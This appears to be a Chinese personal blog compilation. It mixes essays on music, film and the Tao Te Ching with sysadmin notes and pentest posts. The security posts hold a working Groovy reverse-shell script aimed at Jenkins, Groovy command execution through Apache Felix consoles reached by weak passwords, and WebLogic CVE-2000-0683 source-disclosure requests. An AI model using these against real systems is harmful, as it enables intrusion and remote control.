朴树的道

小学的时候,第一次听到一句诗,诗中说“生如夏花之绚烂 死如秋叶之静美”。
那个时候,自己还是一个顽皮的小男孩,根本就不懂,什么叫做生如夏花呐?

后来升入初中,心头有了思绪,听到有一个歌手唱出这句歌词,才知道,生如夏花,是多么幸福的梦想,多么悲怆。

我从远方赶来 赴你一面之约
痴迷流连人间 我为她而狂野
我是这耀眼的瞬间 是划过天边的刹那火焰
我为你来看我不顾一切 我将熄灭永不能再回来

朴树 生如夏花

从那以后,就喜欢上了这个叫做朴树的歌手。开始听他的每一首歌,他是那样特别,看似狂放不羁,却又清新脱俗。
在无尽的靡靡之音中,他就那么干净地伫立。

在希望的田野上,且听风吟。

她在睡梦中,傻子才悲伤。

来不及,送别,平凡之路。

他用每一首歌,悠悠地唱着这世间的悲欢离合。爱情、梦想、风景、旅途都在他的歌声里,优美又深刻。

到后来,听他的《猎户星座》,突然发现,朴树哥(或许应该叫叔),长大了,而彼时那个顽皮的我,也已经长成过了弱冠的小伙。

那个年少轻狂,不知天高地厚的少年,成了一个战战兢兢,如履薄冰的年轻人。二十出头,就失了勇敢。

听着他的《No fear in my heart》,不禁反问自己,在躲避什么,在害怕什么,在挽留什么。

你在躲避什么
你在挽留什么
你想取悦谁呢
你曾经下跪,这冷漠的世界,何曾将你善待
所以你厌恶危险,坠入厄运深渊,输掉一切
你两手紧紧抓着,如同身处悬崖
你小心翼翼地,以为你拥有着,貌似人生圆满
能不能 彻底地放开你的手
敢不敢 这么义无反顾坠落
坠入黑暗中 坠入泥土中的海阔天空
就让我 来次透彻心扉的痛
都拿走 让我再次两手空空
只有奄奄一息过,那个真正的我,他才能够诞生

朴树 No fear in my heart

朴树长大了,他看到了世俗,他无法躲避。

于是,他开始回忆,回忆那个天真的,初心的,清白之年。杨柳依依,衬衣如雪。

故事开始以前,最初的那些春天
阳光洒在杨树上,风吹来,闪银光
街道平静而温暖,钟走得好慢
那是我还不识人生之味的年代

我情窦还不开,你的衬衣如雪
盼着杨树叶落下,眼睛不眨
心里像有一些话,我们先不讲
等待着那将要盛装出场的未来

人随风飘荡,天各自一方
在风尘中遗忘的,清白脸庞
此生多勉强,此身越重洋
轻描时光漫长,低唱语焉不详

朴树 清白之年

唯有初心不忘,方能有始有终。每当怀念起过去,便仰望着星空,看到的是遥远的猎户星座。

你是否,得到了想要的人生?

你还记得吗 那时的夜晚 是如何降临的
什么都不说 像来自天空 轻如指尖的触痛
你是否得到了 期待的人生 梦里的海潮声
他们又如何从 指缝中滑过 像吹在旷野里的风
情长 飘黄 静悄悄的时光
清晨 日暮 何处是我的归宿

朴树 猎户星座

人生如逆旅,我亦是行人。走的路多了,心里的尘埃,也多了。入世太深,困于迷途,则失了道心。

从朴树的歌里,听到的是他心里的清弦,世外的琼音。从生到死,由始至终。

而他的低调,让只有少数人才能静下心来欣赏他的歌,真正地诠释了,什么是大音希声。

许巍的禅

在我的精神世界里,没有太多的人物和元素。

因为我没有太深或太宽泛的音乐素养,对音乐的历史一知半解,对现代的音乐,更是没有时间和精力去了解每一类作品与每一个人。

因此,无法从统计的角度去比较音乐作品的好坏。

我想现代人绝大多数都聪明,当看到一颗芝麻的时候,一定会想着可能还会有西瓜。很少有人会说,这就足够了。

但文艺作品很多不是这样的,没有必要阅尽沧桑再回头。好的作品,就像历史画卷里的珍珠,只需要寥寥数笔,就已经熠熠生辉。

就像李白的诗,时空中不会再有第二个李白。很羡慕活在李白同处一个时代的人,可以见证他的放浪形骸。

而庆幸的是,我们的时代,有许巍。

这就足够了。

相信很多人接触许巍,都是从那句著名的歌词,曾梦想仗剑走天涯。

曾梦想仗剑走天涯
看一看世界的繁华
年少的心总有些轻狂
如今你四海为家
曾让你心疼的姑娘
如今已悄然无踪影
爱情总让你渴望又感到烦恼
曾让你遍体鳞伤

许巍 曾经的你

那首《曾经的你》,不论何时何地,什么样的心境,听起来总有那么深刻的共鸣和感慨。
其实这就是许巍,从早年开始,他的歌曲里就有一种慈悲,用澎湃的鼓点和沧桑的独白,抚慰每一位流浪的路人。

也许是出发太久
我竟然迷失在旅途
我最亲爱的朋友
你让我再一次醒来

许巍 故事

每个人都这样成长,从年轻到老。每个人的经历,都可以写成故事,写成一本书。也常常有人在旅途中迷了路。
许巍在一张题为《爱如少年》的专辑里,说起故事,也说起少年。

时间已过去多少年
如今的你们在哪里
经历着什么样的故事
什么样的幸福伤痛
今天我依然能感到
那清风掠过的春天
掠过了城市掠过村庄
掠过我们年少的胸膛
我依然看到那些少年
站在九月新学期操场
仰望着天空清澈的眼神
向着无限的未来

许巍 少年

他的好歌太多,以致于想认真聊起一些的时候,甚至不知道该从何谈起。他同样是一个低调的人。

有时也觉得很怪,一个玩摇滚玩的很嗨的人,怎么就“佛系”了。但是想来却也很正常,一切都可以归为慧根。

从那首《我们》开始,许巍就已经提起忏悔了。

到了后来的《此时此刻》,那首《救赎之旅》,那些简单的来自阳光的音符,正一声一声地诉说着他自己。

一直以来 在心中的梦想
是用一生 改变这个世界
一直以来 这闪光的心愿
指引我穿行世界

许巍 救赎之旅

穿行之后,便是归途,旅人等在那里。

峰回路转,一念净心,证得万物大千,轮回如梦初醒。

一念净心 花开遍世界
每临绝境 峰回路又转
但凭净信 自在出乾坤
恰似如梦初醒 归途在眼前

许巍 空谷幽兰

走过了旅途,体会了平淡,感悟出人生本就是一刹那的时光,便更加珍惜眼前,喜欢那些纯粹和简单,喜欢平静的喜悦。

命运的使然
我这漂泊的游子
每次思念远方的你们
我会向故乡顶礼
心中升起的喜悦
总在归乡的旅程
当家门在开启时
这世界变得温暖

许巍 喜悦

宗教给人带来了什么?有的是统治,有的是战争,有的是简单和快乐。
许巍就点燃了他满心的慈悲与满腹的才华,为世人化作幽暗道路上的一道光芒,一朵向往自由,无法阻挡的蓝莲花。

没有什么能够阻挡
你对自由的向往
天马行空的生涯
你的心了无牵挂
穿过幽暗的岁月
也曾感到彷徨
当你低头的瞬间
才发觉脚下的路

许巍 蓝莲花

Apache Felix是一个OSGi版本4规范的Apache实现。OSGi是一个基于Java的服务平台规范,其目标是被需要长时间运行、动态更新、对运行环境破坏最小化的系统所使用。
渗透测试过程中也许会遇到Apache Felix,这时可以尝试访问Felix的/system/console/sc路径,并且试试看有没有弱密码。如果能够成功进入Apache Felix Web Console,就可以通过执行Groovy代码,间接执行系统命令,甚至获得系统权限。

例如Groovy用于执行系统命令的代码:

1
2
3
4
5
6
7
8
def execute(cmd){
def proc = cmd.execute();
proc.waitFor();
println proc.text;
}

execute("ipconfig");

获取一些系统信息:

1
2
println System.getProperty("user.dir"); //print local path
println InetAddress.getLocalHost(); //print local ip

Groovy反弹Shell的代码,可以参考:

https://chorder.net/2019/05/29/Groovy%E5%8F%8D%E5%BC%B9Shell%E8%84%9A%E6%9C%AC-Groovy-Reverse-Shell-Script/

CentOS6由于版本过老和源组织不当等原因,成功安装Python3和一些较新的依赖库是一件很幸运的事情。这里记录下遇到的报错和解决过程。
按照惯例,先记录一下报错内容,方便搜索引擎索引:

1
2
3
4
5
6
7
8
9
10
11
12
[root@localhost ~]# pip3 install --upgrade pip
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
Requirement already up-to-date: pip in /usr/local/lib/python3.7/site-packages (19.0.3)
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping

解决方法:

1.编译安装OpenSSL 1.0.2j版本并配置环境变量

下载OpenSSL源码包:

wget http://www.openssl.org/source/openssl-1.0.2j.tar.gz

解压缩,编译安装:

1
2
3
4
tar -zxvf openssl-1.0.2j.tar.gz
cd openssl-1.0.2j
./config --prefix=/usr/local/openssl-1.0.2j shared zlib
make && make install

2.编译安装Python3,使用自定义的OpenSSL

下载Python3.7.3源码包:

wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

解压缩,编译安装:

1
2
3
tar -zxvf Python-3.7.3.tgz
cd Python-3.7.3
./configure

在这一步之后,先不要着急运行make命令。先修改Modules/Setup文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Socket module helper for socket(2)
#_socket socketmodule.c

# Socket module helper for SSL support; you must comment out the other
# socket line above, and possibly edit the SSL variable:
SSL=/usr/local/openssl-1.0.2j/ #取消这一行的注释,并将原来的/usr/local/ssl改为/usr/local/openssl-1.0.2j/
_ssl _ssl.c \ #取消这一行的注释
-DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ #取消这一行的注释
-L$(SSL)/lib -lssl -lcrypto #取消这一行的注释

# The crypt module is now disabled by default because it breaks builds
# on many systems (where -lcrypt is needed), e.g. Linux (I believe).

#_crypt _cryptmodule.c # -lcrypt # crypt(3); needs -lcrypt on some systems

修改完成以后,还需要创建两个指向动态链接库的软链接文件:

1
2
ln -s /usr/local/openssl-1.0.2j/lib/libssl.so.1.0.0 /usr/lib64/libssl.so.1.0.0
ln -s /usr/local/openssl-1.0.2j/lib/libcrypto.so.1.0.0 /usr/lib64/libcrypto.so.1.0.0

最后编译并安装:

1
make && make install

安装完成以后,再次运行pip3 install --upgrade pip,可以看到原先SSL连接报错的问题已经解决:

1
2
3
4
5
6
7
8
9
[root@localhost Python-3.7.3]# pip3 install --upgrade pip
Collecting pip
Using cached https://files.pythonhosted.org/packages/5c/e0/be401c003291b56efc55aeba6a80ab790d3d4cece2778288d65323009420/pip-19.1.1-py2.py3-none-any.whl
Installing collected packages: pip
Found existing installation: pip 19.0.3
Uninstalling pip-19.0.3:
Successfully uninstalled pip-19.0.3
Successfully installed pip-19.1.1

Linux和Linux是有区别的。

按Boss的要求在一台CentOS 6上面部署业务,我写的程序是一个基于Rails的Web调度页面,下面挂了一个Python写的数据处理程序。

部署时候被几个小问题折腾到现在,头晕脑胀,来这里发发牢骚。

首先是CentOS6的源里面缺少太多必要的软件包,Rails的SASS相关的GEM用不了,好在界面简单,直接砍掉了这些GEM,搞定。

然后CentOS6自带的Python版本是2.6,根本无法通过pip去装我要的包。

于是在源里面找Python3,安装以后,pip3可以装我要的第三方包了,但装好提示无法使用。

因为rh源里的Python3装完是在/opt/rh/XXX目录下的,即使在/usr/bin/建立了软链接,site-packages里的包也照样用不起来。

归根结底还是因为我的Python水平太菜了,不知道怎么处理Python的依赖问题。

再然后,想着不用rh源里的Python3可能会好点,于是下了源码包编译安装。可是加上–with-ssl选项编译后,自己编译的Python仍然没有ssl模块。

而pip3在线安装依赖包时,又需要使用ssl模块去和pypi.org建立连接。

好吧,那就直接去Pypi上直接下载whl回来安装吧,可是安装好以后又报一样的错,提示找不到模块。

到这一步我是很绝望的,并不是因为自己解决不了这个问题,而是因为根本不想和这样简单又没有意义的问题死耗着。

2019.06.13更新:解决方法

首先这种问题是显然可以解决的,我们先从战略上和战术上一起忽略它,但是这个繁琐的纠缠过程引发了我的如下思考。

理论上来说,这种配置层面的问题,是完全可以通过合适的底层平台来避免的,例如使用更新的操作系统。

已经9102年了,再用CentOS6显然是不合理的,然而仍旧有一批干活的人,喜欢死守陈旧的东西。于是,整个生态就全都需要迁就于这个搭建底层系统的人。

工匠的时间,应该花在更值得琢磨的事情上,而不是解决一个又一个这样的脚本层面的脑残问题。浪费时间的同时又不能给自己带来任何成就感。

所以每当有学生和网友,问我很多简单的问题时,我都会劝他们转行。因为IT工程师圈子里,实在不需要更多庸才了,如果没有解决小问题的能力,就行行善别进这个圈子吧,干哪行不能混口饭吃呢。

至于那些能够通过悟性、思考和努力,掌握了计算机特性的人,自然有成为一个出色工程师的天分,他们并不会因为一两句冷嘲热讽就心灰意冷(如果会,同样说明不适合这个圈子)。反而会更加努力地去钻研出答案,以此来证明自己。他们也不会记恨曾经的嘲讽,显然,克服人性,摆脱情绪,是成为任何一个领域的高手所必须要有的修养。否则德不配位,爬的越高,摔的越痛。

说的深了。不过此文本身就是一篇扯淡文,也无妨。

其实,我只是想说,Linux和Linux是不一样的。CentOS这种东西,能称得上是Linux吗?体系怪异,脉络紊乱,必定难成气候,我话就撂这儿了。

未来操作系统的格局,西半球,一定是属于Debian的。

rkhunter是一个Linux下自动检测rookit的脚本,使用时需要依赖数据库。在执行rkhunter --update进行更新操作时,也许会报以下错误:

1
Invalid WEB_CMD configuration option: Relative pathname: "/bin/false"

修复这个错误的方法很简单,编辑/etc/rkhunter.conf文件,找到其中的以下选项:

  • UPDATE_MIRRORS=0
  • MIRRORS_MODE=1
  • WEB_CMD=”/bin/false”

分别将UPDATE_MIRRORS=0改为UPDATE_MIRRORS=1,将MIRRORS_MODE=1改为MIRRORS_MODE=0,以及将WEB_CMD="/bin/false"改为WEB_CMD=""即可。

再次运行rkhunter --update,错误消失。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@debian:~#rkhunter --update
[ Rootkit Hunter version 1.4.2 ]

Checking rkhunter data files...
Checking file mirrors.dat [ No update ]
Checking file programs_bad.dat [ Updated ]
Checking file backdoorports.dat [ No update ]
Checking file suspscan.dat [ No update ]
Checking file i18n/cn [ Skipped ]
Checking file i18n/de [ Skipped ]
Checking file i18n/en [ No update ]
Checking file i18n/tr [ Skipped ]
Checking file i18n/tr.utf8 [ Skipped ]
Checking file i18n/zh [ Skipped ]
Checking file i18n/zh.utf8 [ Skipped ]

分享一条使用纯Groovy反弹shell的脚本,摘抄自Github。

出处:

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

String host="1.1.1.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

可以用在Jenkins的命令执行中,用于反弹Shell。

今天为某金融公司做测试,在系统中发现了一枚很老的漏洞 CVE-2000-0683 ,Nessus里面给出的漏洞评级是中危,但是经过测试,发现是一个危害很高的漏洞。

在以前的测试过程中还没有遇到过这个洞,也许是我孤陋寡闻了,但也许有很多人和我一样不知道的,所以在这里简单分享一下。

相关介绍

Tenable Nessus关于该漏洞的描述:

https://www.tenable.com/plugins/nessus/11604

这个漏洞利用起来很简单,只需要在URL中加入/*.shtml/就可以列目录或者读源码,例如:假设漏洞位于http://victim.com/,那么如果想要列目录,只需要请求:

http://victim.com/*.shtml/
http://victim.com/*.shtml/admin/
http://victim.com/*.shtml/config/

即可列出相应目录下的文件。

如果需要读取源代码,只需要请求

http://victim.com/*.shtml/index.jsp
http://victim.com/*.shtml/admin/login.jsp
http://victim.com/*.shtml/config/config.jsp

即可读取相应的源代码。

实战利用

以下是我的测试过程。

列目录:

读源码:

漏洞修复

内容来自相关供应商(BEA security advisory BEA00-03.00):

(1) Apply the “Show Code” vulnerability patch available from BEA Technical Support. This patch is available for:
Version:

  • The J-Engine in BEA WebLogic Enterprise 5.1.x
  • BEA WebLogic Server and Express 5.1.x
  • BEA WebLogic Server and Express 4.5.x

Action: Contact BEA Technical Support at support () bea com for patch.

(2) Once the patch has been applied, review the weblogic.propertiesfile and ensure that the following changes have been made:

weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file

should be changed to:

weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html

Future Service Packs for BEA WebLogic Server and Express will also contain the patch to address this vulnerability.

本漏洞分享仅供学习交流,请勿用于从事非法活动。

祸兮 福之所倚
福兮 祸之所伏

老子 道德经

今年从年初开始,心里就有一种隐隐的不详预感,而且感觉是和开车有关,果然昨天撞了一下。

算是开车以来最严重的一次事故了,后车门瘪了进去,4S店的人说要换车门,换侧板。

既觉得有点郁闷,又有一点庆幸。还好是和小轿车相撞,如果是大卡车,那此时恐怕我已经无法在这里安心码字了。

如今心里的一块石头落了地,第六感这种东西,究竟准不准呢?

且不谈这些,最近重读《道德经》,颇有感悟。这部经典,值得细细品读。

想来就如老子所说福祸相倚,这次的祸,岂不是就潜伏在此前的“福”中吗,之前开车时候所有的大意马虎、粗心分神,都是此祸之伏笔。

弱冠已过,即赴而立。岁月平添,偶积了二三阅历,对世事亦浊亦清,似是到了钻研易学之时。这一次带着“当位”的架构思想去重新解读易经的每一卦,要比以前看的时候清晰一些了。

所谓书读百遍,其益自现,希望能有更多收获,吸取些营养,届时也好来这里分享。但是读懂之前,绝不妄言。

就叙到这里吧,这次的事情要好好反省。运在自己手里攥着,命在老天爷掌上把着。

一切行事,不可不谨慎。愿诸君共好。

在以root用户运行Puppeteer程序时,遇到一些错误,这里记录下解决的过程。
首先提示一个X11错误,这是因为我在服务器上运行Chrome,而服务器没有安装桌面环境导致的。
安装以下依赖项即可,以Debian系统为例:

1
apt-get install gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget

接着就是报了一个sandbox错误,报错内容是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(node:4963) UnhandledPromiseRejectionWarning: Error: Failed to launch chrome!
[0428/104254.469304:ERROR:zygote_host_impl_linux.cc(89)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.


TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

at onClose (/root/monkey/node_modules/puppeteer/lib/Launcher.js:342:14)
at Interface.helper.addEventListener (/root/monkey/node_modules/puppeteer/lib/Launcher.js:331:50)
at emitNone (events.js:111:20)
at Interface.emit (events.js:208:7)
at Interface.close (readline.js:370:8)
at Socket.onend (readline.js:149:10)
at emitNone (events.js:111:20)
at Socket.emit (events.js:208:7)
at endReadableNT (_stream_readable.js:1064:12)
at _combinedTickCallback (internal/process/next_tick.js:138:11)
(node:4963) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:4963) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

不了解具体的含义,但是从sandbox来看,应该是和Chrome的安全沙箱有关,单纯的想解决这个问题,只需要在代码中加入--no-sandbox启动Chrome的参数即可。

Example:

1
2
3
4
5
6
7
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({args: ['--no-sandbox']});
const page = await browser.newPage();
await page.goto("https://www.baidu.com");
await browser.close();
})()

Tips:

但是这样做可能会造成一些风险,主要是Chrome的sandbox会多一些安全特性(我理解的),如果是将Node的代码作为生产环境运行在产品中,还是需要谨慎一些的,确保请求的站点安全可信(最好不信)。

开头一点点废话

以前还没在博客写过有关电影的内容,其实电影一直是鄙人一大爱好。好的电影就像好书,往往给人深刻的启发。就题材角度而言,我常看的有科幻片、文艺片、历史传记片等等,很多片子其实是拿来消磨时间的,归根到底,我真正喜欢的是一些内容较为深刻,又充满灵性的电影。从内容上,能够吸引我的电影就更多了。这里本想列举几部的,但尝试在脑海里搜索一遍发现简直列举不完,公平起见,就不列了,以后有机会再慢慢为一些好的电影补上我的三言两语,算做不堪成文的“影评”吧。
这是我的第一篇影评,所以开头写上这些无关的话。以下是正文。

过春天

这次因为偶然,看到了这部叫做《过春天》的电影。香港电影,有些真的是十分有趣味。在此之前,印象最深刻的香港文艺片是《人间小团圆》,这些有味道的港片让我深深感觉到香港电影市场的包容,也觉得港片的未来很有希望。

《过春天》讲的是一个16岁青春期的小女孩佩佩,梦想着和闺蜜一起去日本泡温泉,赏樱花,通过做兼职、买手机壳来攒钱,最后因为一次相遇,而意外成了携带苹果手机从香港往深圳过关的“水客”的故事。具体的剧情就不详细描述了,有缘的看客,你可以自己去欣赏这部清新的文艺港片。

只想谈谈几点感悟。

每个青春都是一场暴风雨

每个青春里的少年就像是不规则运动的分子,在尘埃落定之前,永远也不知道,下一秒,会在哪里,遇见谁,而那个人又将怎样改变自己的一生。就像电影里的佩佩,青春期的孤独和倔强她都有,却唯独少了世故和圆滑,所以遇见谁,就会走近谁,哪怕对方是走私的“水客”,甚至是运枪的社会姐。而更多”睿智体面“的成年人,学会了选择和谁交往,又远离谁。

每个青春都是一场暴风雨,在这场雨里,难辨方向,有的人满身泥泞,有的人伤痕累累,唯独没有人能够全身而退。

每个梦想都不应该被辜负

佩佩和Joe约好去日本,赏樱花看雪,后面的果都是因为这个因,可到最后也没能实现这个简单又华丽的梦。也许,走过青春就注定了要辜负梦想?

没有到来过的爱情,也许才真的存在过

佩佩的青春里,阿豪就是划过的一道彗星。彗星又叫做扫帚星,阿豪给佩佩带来了走水的危险,带来了友情的破裂,却又让佩佩的青春从此有了波澜。在这部片子里值得肯定的一点是,导演从头到尾都没有加入情欲的画面,反而用巧妙的手法化解了山雨欲来的尴尬,很适合作为一部青春启蒙片,哈哈。

青春期的爱情,懵懂的喜欢,似是而非,似有还无,让很多人一生之中都常常追忆。可能那不是爱情,又亦或反之。

小人物的生存

社会的规则,把我们隔成了一层一层,一圈一圈。而我们的轨迹,细想来,其实从青春时期便初现端倪了。片中的水客让我想起如今的社会,大人物忙着制定规则,运筹于各自的帷幄,小人物们则在规则之间周旋,谋着各自的余生。皇天厚土,可曾将谁善待?

心头点点

还有一些感悟,细想来,皆是些零星片段,难成体系,多说无益。

引一位网友的短评了却此文吧。

过了这道关,要说英文写繁体,像鱼群挤到水面呼吸空气;进了这道门,要被监控陪笑脸,在大鱼吃小鱼的规则里谋生。没教鲨鱼游泳就扔进大海,没让城市变冷就盼望落雪,没给手枪装弹就扣动扳机,没给货船检查就驾驶出海。把飞机当成流星祈祷,把失火当成福兆祈愿。反正过得了春天,也过不了青春这道险关。

豆瓣网友-西楼尘
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×